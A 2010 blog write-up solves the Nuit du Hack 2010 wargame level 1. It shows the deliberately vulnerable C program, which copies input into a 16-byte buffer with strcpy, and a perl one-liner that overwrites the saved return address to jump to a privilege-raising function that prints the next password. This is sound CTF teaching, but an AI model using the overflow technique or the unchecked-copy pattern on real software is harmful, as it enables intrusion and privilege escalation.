lundi 9 août 2010

lvl1 wargame NDH2010 - buffer overflow (english version)

This article describes the resolution of the french "Nuit du hack 2010" wargame level1 test. The interesting part of it is in the perl command used to inject an hex address in a shell prompt.



solution

$ ssh -2 level1:level1@wargame.nuitduhack.com

level1@srv-public:~$ ./level1 $(perl -e "print 'A' x 20,chr 0x04,chr 0x85,chr 0x04,chr 0x08")
dummy() is at: 0x08048504
before:   SEBP=0xbffff808
      SEIP=0x080485fd
after:    SEBP=0x41414141
      SEIP=0x08048504
motdepasse

HowTo

Connect to SSH server
level1:level1@wargame.nuitduhack.com's password:
  _   _    ____     _   _        ____    ___       _    ___    
 | \ |"|  |  _"\   |'| |'|      |___"\  / _"\  u  /"|  / _"\  u
<|  \| |>/| | | | /| |_| |\     U __) || / U |/ u | |u| / U |/ 
U| |\  |uU| |_| |\U|  _  |u     \/ __/ \ \// |,-.\| |/| \// |,-.
 |_| \_|  |____/ u |_| |_|      |_____|u\___/(_/  |_|  \___/(_/
 ||   \\,-.|||_    //   \\      <<  //   //     _//<,-, //     
 (_")  (_/(__)_)  (_") ("_)    (__)(__) (__)   (__)(_/ (__)      

list the directory
level1@srv-public:~$ ls
level1  level1.c  passwd
try level1:
level1@srv-public:~$ ./level1 A                                              
dummy() is at: 0x08048504
before:   SEBP=0xbffff838
      SEIP=0x080485fd
after:    SEBP=0xbffff838
      SEIP=0x080485fd

Test the buffer overflow
level1@srv-public:~$ ./level1 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
dummy() is at: 0x08048504
before:   SEBP=0xbffff7f8
      SEIP=0x080485fd
after:    SEBP=0x41414141
      SEIP=0x41414141
Erreur de segmentation

Download the directory to work locally
scp level1@wargame.nuitduhack.com:* ./
See the source code of the vuln file. The function Dummy() gives anything useful to pass the test
level1@srv-public:~$ cat level1.c
#include < stdio.h>
#include < stdlib.h>
#include < string.h>

void dummy()
{
        setresuid(geteuid(),geteuid(),geteuid());
        system("sleep 1; cat /home/level2/passwd;");
    exit(0);
}

int *p;
void func(char *arg)
{
        char buf[16];
        p = (int *)&buf[sizeof(buf)];

    printf("dummy() is at: 0x%08x\n", dummy);
        printf("before:   SEBP=%p\n\t  SEIP=0x%08x\n", *p, *(p+1));
        strcpy(buf, arg);
        printf("after:    SEBP=%p\n\t  SEIP=0x%08x\n", *p, *(p+1));

}
int main(int argc, char *argv[])
{
        if(!argv[1]) {
        printf("No command found...\n");
        return;
    }
        func(argv[1]);
}

  The provided address of function dummy() is correct. Indeed, dump the assembler code of ./level1
$ objdump -d level1 | grep "
08048504 :

There are 20 characters before crushing EIP
level1@srv-public:~$ ./level1 AAAAAAAAAAAAAAAAAAAAAAAA
dummy() is at: 0x08048504
before:   SEBP=0xbffff828
      SEIP=0x080485fd
after:    SEBP=0x41414141
      SEIP=0x41414141
Erreur de segmentation

level1@srv-public:~$ ./level1 AAAAAAAAAAAAAAAAAAAA  
dummy() is at: 0x08048504
before:   SEBP=0xbffff828
      SEIP=0x080485fd
after:    SEBP=0x41414141
      SEIP=0x08048500
Erreur de segmentation

Aucun commentaire:

Enregistrer un commentaire